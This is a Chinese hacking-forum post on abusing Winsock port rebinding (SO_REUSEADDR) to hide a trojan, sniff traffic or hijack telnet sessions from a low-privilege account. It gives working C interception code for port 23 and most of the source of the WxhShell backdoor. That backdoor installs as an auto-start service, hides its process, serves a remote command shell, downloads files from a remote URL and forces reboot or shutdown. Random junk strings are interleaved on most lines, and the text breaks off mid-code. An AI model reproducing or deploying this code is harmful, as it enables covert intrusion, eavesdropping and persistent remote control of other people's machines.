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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .G"UM>.}d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g. V6:>,  
?T+Uu  
  saddr.sin_family = AF_INET; OGgP~hd  
*XRAM.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *82f {t]  
 nwH'E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N1dp%b9W(  
ich\`j[i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h?f)Bt}ry  
H{Zfbb  
  这意味着什么?意味着可以进行如下的攻击:  EAVB:gE  
+bi%4DA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qPJU}(9#B  
m2!y;)F0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y#[PQ T  
`^t0379e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yqdh LX|Mk  
7x *]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;Drt4fOxX  
"xS?#^a  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [cSoo+Mlx  
-]1F ] d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &yFt@g]  
:Oz! M&Ov  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `mU'{  
-J?i6BHb  
  #include l1X& Nw1W  
  #include >L6V!  
  #include p 4k*vuu>  
  #include    Z-(Vfp4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vi+k#KE  
  int main() vM5u]u!  
  { %T3L-{s5  
  WORD wVersionRequested; =Z ^=  
  DWORD ret; :G#>):  
  WSADATA wsaData; KsZXdM/  
  BOOL val; cC'{+j8-a  
  SOCKADDR_IN saddr; k(>hboR5n  
  SOCKADDR_IN scaddr; :'-FaGy  
  int err; *M*:3 v 0  
  SOCKET s; ]d]tQPEU  
  SOCKET sc; K * Tj;  
  int caddsize; $xT'cl/IH  
  HANDLE mt; I4%&/~!  
  DWORD tid;   4u;db_gX  
  wVersionRequested = MAKEWORD( 2, 2 ); _9!_fIY  
  err = WSAStartup( wVersionRequested, &wsaData ); x%kS:!  
  if ( err != 0 ) { T7eo_Mn  
  printf("error!WSAStartup failed!\n"); rf.w}B;V;  
  return -1; MqXN,n+`k  
  } Jq1 Zb  
  saddr.sin_family = AF_INET; Pyc/6~ ?  
   ZRY s7 4<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _aOisN{  
q7-Eu4w  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yw'b^D/  
  saddr.sin_port = htons(23); $_,?SXM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OA#AiQUR  
  { Fxwe,  
  printf("error!socket failed!\n"); Jt6~L5[_s  
  return -1; XjpFJ#T*$A  
  } M%H<F3  
  val = TRUE; [G{{f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 kb>:M.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U[9`:aV;  
  { 9H5S@w[je  
  printf("error!setsockopt failed!\n"); jdxwS  
  return -1; 2[i:bksjW  
  }  k?|l;6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M/ @1;a@\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pQc5'*FKd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e=KA|"v xh  
<TmMUA)`}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :| J' HCth  
  { e2|2$|  
  ret=GetLastError(); \`?l6'!  
  printf("error!bind failed!\n"); \gferWm  
  return -1; ES72yh]  
  } &d]%b`EXq  
  listen(s,2); nunTTE,iq%  
  while(1) gE^ {@^  
  { WXP=U^5Si  
  caddsize = sizeof(scaddr); hR" j[  
  //接受连接请求 =}5;rK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4[t1"s~Wg  
  if(sc!=INVALID_SOCKET) -AcLh0pc  
  { j!9p#JK#u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); omQa N#!,  
  if(mt==NULL) F)KUup)gc  
  { C*kGB(H7  
  printf("Thread Creat Failed!\n"); *9((X,v@/  
  break; dXgj  
  } f Co-ony  
  } RYzDF+/  
  CloseHandle(mt); T-pes1Wu  
  } JgXP2|Y!  
  closesocket(s); B:dk>$>uQ  
  WSACleanup(); 1ipfv-hb6  
  return 0; ehQ"<.sQ  
  }   -miWXEe@l  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z+h^ ie"g  
  { Gqvnc8V&  
  SOCKET ss = (SOCKET)lpParam; [*ylC,w  
  SOCKET sc; kBYZNjSz  
  unsigned char buf[4096]; !$r4 lu  
  SOCKADDR_IN saddr; F/z$jj)  
  long num; |UvM [A|+  
  DWORD val; )3g7dtq}  
  DWORD ret; qUX   
  //如果是隐藏端口应用的话,可以在此处加一些判断 Eyu]0+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   a-\\A[E  
  saddr.sin_family = AF_INET; z,/0e@B >  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >&V?1!N"  
  saddr.sin_port = htons(23); ' O1X+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S'~Zlv 3`  
  { AA&398F  
  printf("error!socket failed!\n"); d5$2*h{^v  
  return -1; Erz{{kf]1V  
  } 5zXw0_  
  val = 100; /MHqt=jP6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c]:sk[u  
  { {H OvJ`tM  
  ret = GetLastError(); OM5"&ZIZb  
  return -1; oK1"8k|Z  
  } JF7n|o-`?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9An_zrJ%i  
  { p] kpDx[9  
  ret = GetLastError(); IgH[xwzy[  
  return -1; g`~c|bx  
  } g;)xf?A9q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ct='Z E  
  { (,$ H!qKy  
  printf("error!socket connect failed!\n"); ^/`:o}7K7  
  closesocket(sc); Qd"{2>  
  closesocket(ss); [oN}zZP]  
  return -1; K%9PIqK?4  
  } Sqj'2<~W  
  while(1) Z M"J5}h  
  { o_   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J0xOB;rd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cF{5[?wS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a x1  
  num = recv(ss,buf,4096,0); .QX|:]|n  
  if(num>0) 6b+\2-eq  
  send(sc,buf,num,0); V#jFjObTN  
  else if(num==0) lV!ecJw$  
  break; v{4K$o  
  num = recv(sc,buf,4096,0); "'p;Udt/Qm  
  if(num>0) :@KU_U)\  
  send(ss,buf,num,0); R?3^Kx  
  else if(num==0) Th,15H DA  
  break; sl^i%xJ|l'  
  } ^6;n@  
  closesocket(ss); \IY)2C<e  
  closesocket(sc); ]$/TsN  
  return 0 ; +jD?h-]  
  } S)Cd1`Gf  
g+BW~e)  
i/QE)"B"q  
========================================================== Z#.J>_u )  
_ +Ww1 f  
下边附上一个代码,,WXhSHELL >-rDBk ;K  
?_36uJo}  
========================================================== lot7SXvK  
{M: Fsay>p  
#include "stdafx.h" |T7 < !  
p]=a:kd4J  
#include <stdio.h> td-2[Sy  
#include <string.h> \/,54c2  
#include <windows.h> vgRjd1k.\y  
#include <winsock2.h> kQ4-W9u  
#include <winsvc.h> HN,E+ dQ  
#include <urlmon.h> 88 ~BE ^  
L?!*HS7 m  
#pragma comment (lib, "Ws2_32.lib") JSX-iHhW  
#pragma comment (lib, "urlmon.lib") wN/d J  
u '-4hU  
#define MAX_USER   100 // 最大客户端连接数 u'cM}y&  
#define BUF_SOCK   200 // sock buffer ^n#6CW*n  
#define KEY_BUFF   255 // 输入 buffer ]S+NH[g+  
I3uS?c  
#define REBOOT     0   // 重启 |&Gm.[IX;q  
#define SHUTDOWN   1   // 关机 l6ayV  
oiYI$ql3L  
#define DEF_PORT   5000 // 监听端口  M\zM-B  
v^2q\A-?  
#define REG_LEN     16   // 注册表键长度 27q 9zi!Q  
#define SVC_LEN     80   // NT服务名长度 $%!'c# F  
6 J[ {?,  
// 从dll定义API e"HA.t[A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ; V)pXLE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :'RmT3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {HPKp&kl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @ht= (Jk9  
Gs]m; "o|  
// wxhshell配置信息 |fX @o0H  
struct WSCFG { C5mq@$6  
  int ws_port;         // 监听端口 0Q>f,}W%>  
  char ws_passstr[REG_LEN]; // 口令 WVDkCo@  
  int ws_autoins;       // 安装标记, 1=yes 0=no csP 5R3  
  char ws_regname[REG_LEN]; // 注册表键名 b*w izd  
  char ws_svcname[REG_LEN]; // 服务名 X5i?B b.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nxH+XHv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kj_ o I5<'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4DaLt&1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #&zNYzI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \IB@*_G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2LS03 27  
nojJGeW%  
}; J8Bz|.@Q  
\q9wo*A  
// default Wxhshell configuration R7%' v Zk  
struct WSCFG wscfg={DEF_PORT, i?" ~g!A  
    "xuhuanlingzhe", " %$jl0i_c  
    1, ( )K,~  
    "Wxhshell", It$'6HV~Sb  
    "Wxhshell", 1&%6sZN  
            "WxhShell Service", K,f*}1$qM  
    "Wrsky Windows CmdShell Service", aH7i$U&  
    "Please Input Your Password: ", c^$_epc*  
  1, dq d:V$o  
  "http://www.wrsky.com/wxhshell.exe", QN`K|,}H^  
  "Wxhshell.exe" v%gkQa  
    }; WE;QEA/  
*d%"/l^0  
// 消息定义模块 J^t-pU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >fG=(1"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f|U;4{ k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (`C#Tq  
char *msg_ws_ext="\n\rExit."; _}8hE v  
char *msg_ws_end="\n\rQuit."; OU2.d7  
char *msg_ws_boot="\n\rReboot..."; hp ?4w),  
char *msg_ws_poff="\n\rShutdown..."; z4 GcS/3K  
char *msg_ws_down="\n\rSave to "; e5\/:HpI  
P`ZzrN  
char *msg_ws_err="\n\rErr!"; bs_>!H1  
char *msg_ws_ok="\n\rOK!"; 7 YS'Tf  
/ =]h@m-`  
char ExeFile[MAX_PATH]; 6T*MKu  
int nUser = 0; l|WdJn o  
HANDLE handles[MAX_USER]; QH z3  
int OsIsNt; |"}F cS y  
pxf(C<y6_  
SERVICE_STATUS       serviceStatus; DxuT23. (  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }STTDq4  
=K#5I<x  
// 函数声明 2HA-q),6  
int Install(void); =rL%P~0wq  
int Uninstall(void); q<Tx'Ya  
int DownloadFile(char *sURL, SOCKET wsh); EJAk'L+nuH  
int Boot(int flag); NUSb7<s,&Y  
void HideProc(void); ,|5|aVfh  
int GetOsVer(void); QMO.Bnek  
int Wxhshell(SOCKET wsl); ~PaEhj&8  
void TalkWithClient(void *cs); 244[a] %&;  
int CmdShell(SOCKET sock); n 0/<m.  
int StartFromService(void); aMU0BS"   
int StartWxhshell(LPSTR lpCmdLine); exW|c~|m{A  
~&}e8ah2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kZb #k#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c{"=p8F_  
CjRU3 (Q  
// 数据结构和表定义 y$Nqw9  
SERVICE_TABLE_ENTRY DispatchTable[] = (5rfeSA^  
{ r`dQ<U,  
{wscfg.ws_svcname, NTServiceMain}, l & A8P  
{NULL, NULL} X }V}%  
}; }}?,({T|n  
G'#f*) f  
// 自我安装 `[)!4Jb  
int Install(void) ax)>rP,V  
{ 9Sey&x  
  char svExeFile[MAX_PATH]; R$|"eb5  
  HKEY key; }xa~U,#5  
  strcpy(svExeFile,ExeFile); !B*l'OJw  
Y5fz_ [("  
// 如果是win9x系统,修改注册表设为自启动 Xp67l!{v  
if(!OsIsNt) { mb\"qD5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;_~9".'<d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y2`},  
  RegCloseKey(key); W9D~:>^YP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .ZtW y) U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %&iodo,EP'  
  RegCloseKey(key); F tS"vJ\  
  return 0; 4'~zuUs  
    } ` n#Db  
  } xqQLri}  
} [4 v1 N  
else { 0$g;O5y"i  
cjp~I/U  
// 如果是NT以上系统,安装为系统服务 \1ncr4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 91#rP|88;  
if (schSCManager!=0) }vX iqT  
{ Y"  Ut  
  SC_HANDLE schService = CreateService Y*QoD9<T?;  
  ( hLICu[LC?  
  schSCManager, po!bRk[4  
  wscfg.ws_svcname, JHXtKgFX  
  wscfg.ws_svcdisp, k>)Uyw$!  
  SERVICE_ALL_ACCESS, 5 W!#,jz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5AbY 59  
  SERVICE_AUTO_START, tMiy`CPh  
  SERVICE_ERROR_NORMAL, X> T_Xc  
  svExeFile, m:D0O]2  
  NULL, tbXl5x0  
  NULL, 9RPZj>ezjA  
  NULL, -A,UqEt  
  NULL, C %i{{Y&l  
  NULL 5AK@e|G$w  
  ); ,m Nd#  
  if (schService!=0) r"9hpZH  
  { 0j :u.x  
  CloseServiceHandle(schService); VkkC;/BBW  
  CloseServiceHandle(schSCManager); vW-o%u*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l@0${&n  
  strcat(svExeFile,wscfg.ws_svcname); '2Lx>nByk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fuU 3?SG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D<g d)  
  RegCloseKey(key); Y?6}r;<  
  return 0; P=aYwmC  
    } xpJ=yxO  
  } 9tWpxrig%  
  CloseServiceHandle(schSCManager); e>m+@4*sn  
} TkR#Kzv380  
} OFxCV`>ce  
P(.XB`  
return 1; S.Q:O{]  
} *nK4XgD  
[Z2{S-)UM  
// 自我卸载 rJ{k1H>  
int Uninstall(void) )3WUyD*UZN  
{ u+O"c  
  HKEY key; "A*;V  
M.\XG}RR  
if(!OsIsNt) { EbeSl+iMx_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >`l^ C  
  RegDeleteValue(key,wscfg.ws_regname); Z*b$&nM  
  RegCloseKey(key); J|F!$m{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8!b>[Nsc  
  RegDeleteValue(key,wscfg.ws_regname); P!SsMo6n  
  RegCloseKey(key); IML.6<,(Z  
  return 0; 3 Q~0b+k  
  } ($Op*bR  
} P:WxhO/  
} 9C8 G(r  
else { _kc}:  
bXeJk]#y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )5`~WzA  
if (schSCManager!=0) lvRTy|%[  
{ njaKU?6%d2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VN0KK 1 I  
  if (schService!=0) [%P[ x]-  
  { ?-~<Vc*  
  if(DeleteService(schService)!=0) { "sIww  
  CloseServiceHandle(schService); =4sx(<  
  CloseServiceHandle(schSCManager); LqXVi80  
  return 0; +tlBOl $  
  } iJeo d fC  
  CloseServiceHandle(schService); })`z6d]3  
  } /bn$@Cy@  
  CloseServiceHandle(schSCManager); g<ov` bF  
} DZ1.Bm0  
} H )>3c1  
E#3tkFF0Z[  
return 1; "%bU74>  
} @LFB}B  
bPif"dhHe  
// 从指定url下载文件 .'.bokl/  
int DownloadFile(char *sURL, SOCKET wsh) ]rSg,Q >E  
{ ^QjkZ^<dD  
  HRESULT hr; 8_ascvs5  
char seps[]= "/"; mfF `K2R  
char *token; ^O =G%de  
char *file; *FC|v0D  
char myURL[MAX_PATH]; s(ap~UCOw  
char myFILE[MAX_PATH]; $BT[fJ'k  
Jamt@=  
strcpy(myURL,sURL); i`Qa7  
  token=strtok(myURL,seps); 'r(g5H1}gi  
  while(token!=NULL) Pd& Npp3  
  { +sTPTCLE  
    file=token; hrO9_B|#  
  token=strtok(NULL,seps); I;1)a4Xc4R  
  } ]d~{8h!G  
2s> BNWTU  
GetCurrentDirectory(MAX_PATH,myFILE); l@1=./L?  
strcat(myFILE, "\\"); kma>'P`G  
strcat(myFILE, file); f& \ Bs8la  
  send(wsh,myFILE,strlen(myFILE),0); *0?@/2&  
send(wsh,"...",3,0); yTn<5T[H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FC~%G&K/q^  
  if(hr==S_OK) \{!,a  
return 0; 7 , _b  
else !! )W`  
return 1; 'x<oILOG  
-rjQ^ze  
} 9[W >`JKo  
Gg]Jp:GF  
// 系统电源模块 [Y?Y@x"MZ  
int Boot(int flag) pq\N 2d  
{ e*}GQ  
  HANDLE hToken; U* c'xoP  
  TOKEN_PRIVILEGES tkp; %3|/t-US  
CEBG9[|  
  if(OsIsNt) { {IvA 5^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c53:E'g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x,cvAbwS  
    tkp.PrivilegeCount = 1; v`jHd*&6)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3:8p="$F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lhnGk'@d  
if(flag==REBOOT) { 'ey62-^r6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I}5e{jBB  
  return 0; h^qZi@L  
} H~mp*S  
else { -meY[!"X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LH=^3Gw  
  return 0; WHOX<YJs  
} dLF*'JjY  
  } =au!rda  
  else { z*q+5p@~  
if(flag==REBOOT) { l?rLadvc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) osd oL  
  return 0; \=[j9'N>  
} q86}'dFw{  
else { vfvp#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \%bJXTK&W  
  return 0; MP<]-M'|<  
} ^k$Bx_{  
} #"?pY5 ("  
~k?wnw  
return 1; 9wGsHf8]  
} |HYST`  
?6nB=B)/  
// win9x进程隐藏模块 QG~6mvD  
void HideProc(void) -K(d]-yv  
{ +F8K%.Q_  
/\uopa  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }YBuS3{  
  if ( hKernel != NULL ) 5/i/. 0?n  
  { XksI.]tfj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .-mIU.Nwi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +>;Ux1'@  
    FreeLibrary(hKernel); Q _!tn*  
  } <uJ {>~  
2p#d  
return; 5@ td0  
} `w`N5 !  
8!3q:8y8  
// 获取操作系统版本 k\;D;e{  
int GetOsVer(void) xgj'um  
{ UBM#~~sM  
  OSVERSIONINFO winfo; 5mpql[v3P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y7CO%SA  
  GetVersionEx(&winfo); [g<gu~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p{W Amly  
  return 1; ; S$  
  else =T26vu   
  return 0; rr\9HA  
} 5pDE!6gQ  
YQFz6#Ew  
// 客户端句柄模块 NIQ}+xpC  
int Wxhshell(SOCKET wsl) F%&lM[N%  
{ ":qHDL3  
  SOCKET wsh; C;/ONF   
  struct sockaddr_in client; E3[9!L8gb  
  DWORD myID; DbB<8$  
~MC 5rOA  
  while(nUser<MAX_USER) 9I [:#,zdf  
{ cZF|oZ6<  
  int nSize=sizeof(client); zjcSn7iu  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J%xUO1  
  if(wsh==INVALID_SOCKET) return 1; 0F![<5X  
SSla^,MHef  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~xc/Dsb$  
if(handles[nUser]==0) C@t,oDU#  
  closesocket(wsh); oq,nfUA  
else <oT1&C{  
  nUser++; L>E;cDB  
  } K;rgLj0m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oMLs22Do?  
GYb&'#F~t  
  return 0; \>wQyz  
} _=`DzudE  
Uf7ACv)Dn  
// 关闭 socket J!6w9,T_  
void CloseIt(SOCKET wsh) 'm |T"Ym~  
{ RFFbS{U*  
closesocket(wsh); jVOq/o  
nUser--; X 5}=|%Y  
ExitThread(0); aJjUy%  
} {g`!2"  
-:'%YHxX  
// 客户端请求句柄 H<q|je}e  
void TalkWithClient(void *cs) \<xo`2b  
{ V9Mr&8{S4  
tq~f9EvC  
  SOCKET wsh=(SOCKET)cs; 2-ksr}:  
  char pwd[SVC_LEN]; "[fPzIP9  
  char cmd[KEY_BUFF]; LE5N2k  
char chr[1]; sUmpf4/  
int i,j; Ah@e9`_r  
!ii( 2U  
  while (nUser < MAX_USER) { TNN@G~@cm  
|&-*&)iD|w  
if(wscfg.ws_passstr) { eNi#% ?=WB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e:4,rfF1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ei+lVLoC  
  //ZeroMemory(pwd,KEY_BUFF); +/[Rvh5WZ  
      i=0; NJd4( P  
  while(i<SVC_LEN) { ;w]1H&mc*A  
nm%qm  
  // 设置超时 Bfdfw +  
  fd_set FdRead; G.@K#a9  
  struct timeval TimeOut; +lFBH(o]X  
  FD_ZERO(&FdRead); Gl3g.`X{$@  
  FD_SET(wsh,&FdRead); !blGc$kC  
  TimeOut.tv_sec=8; ^qBm%R(  
  TimeOut.tv_usec=0; N M),2%<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s[UV(::E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N.]~%)K:{  
g[@0H=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x30|0EHYl[  
  pwd=chr[0]; 8dt=@pwx&  
  if(chr[0]==0xd || chr[0]==0xa) { 3d1xL+  
  pwd=0; %G6x\[,  
  break; 'Pn:10;  
  } n!X%i+|4x  
  i++; E#tfCM6  
    } $I#~<bW,  
A(BjU:D(Oj  
  // 如果是非法用户,关闭 socket S{]3e-?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2Q%M2Ua  
} O5+Ah%  
|d6/gSiF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :nqDX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %a0q|)Nrj  
u| "YS-dH  
while(1) { o@j!JI&  
'zMmJl}\vd  
  ZeroMemory(cmd,KEY_BUFF); eW3?3l`fvt  
CV{ZoY  
      // 自动支持客户端 telnet标准   4z~;4   
  j=0; uP8 cW([  
  while(j<KEY_BUFF) { 6fBA #Kb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &A/b9GW^-  
  cmd[j]=chr[0]; g3%x"SlIU  
  if(chr[0]==0xa || chr[0]==0xd) { D(TfW   
  cmd[j]=0; 5OO XCtIKf  
  break; _:Y| a>  
  } ,1<6=vL  
  j++; I7|a,Q^f  
    } M 0G`P1o  
v!<FeLW  
  // 下载文件 @ZV>Cl@%2  
  if(strstr(cmd,"http://")) { xZV|QVY;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h.- o$+Sa  
  if(DownloadFile(cmd,wsh)) K@osD7-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7+[L6q/K  
  else 7VkjnG^!:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Ot&]M  
  } ci 22fw0  
  else { Y1qbu~!  
L/bvM?B^  
    switch(cmd[0]) { 56NDU>j$  
  0BjP|API  
  // 帮助 -I#<?=0B  
  case '?': { B4m34)EOE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >k/ rJ[Sc  
    break; dOg c%(kz  
  } Tn>L?  
  // 安装 P{2ED1T\  
  case 'i': { 'Q*lp!2>  
    if(Install()) = P$7 "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iZ ;562Mo  
    else LR"7e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uBM%E OE  
    break; f=4q]y#& X  
    } sN1I+X  
  // 卸载 0? KvR``Aj  
  case 'r': { *tDxwD7  
    if(Uninstall()) /KO2y0`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YB]^Y^"e  
    else v?DA>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  10_@'N  
    break; 3|/zlKZz  
    } eE0nW+i  
  // 显示 wxhshell 所在路径 = o1&.v2j  
  case 'p': { jH9.N4L  
    char svExeFile[MAX_PATH]; ;,B $lgF  
    strcpy(svExeFile,"\n\r"); 3.?oG5 P#  
      strcat(svExeFile,ExeFile); >- CNHb  
        send(wsh,svExeFile,strlen(svExeFile),0); ~c>]kL(,  
    break; FJsg3D*@J  
    } {8~xFYc:  
  // 重启 ;@[ax{ J  
  case 'b': { nh"LdHqiDB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wF['oUwHH  
    if(Boot(REBOOT)) Qu|<1CrZj]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z'Fu} ho  
    else { gBXbB9  
    closesocket(wsh); M >s,I^  
    ExitThread(0); j sw0"d(  
    } 6 &MATMR  
    break; &[-b #&y  
    } L'x[wM0w;  
  // 关机 R"JT+m  
  case 'd': { _^] :tL6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]y/!GFQ  
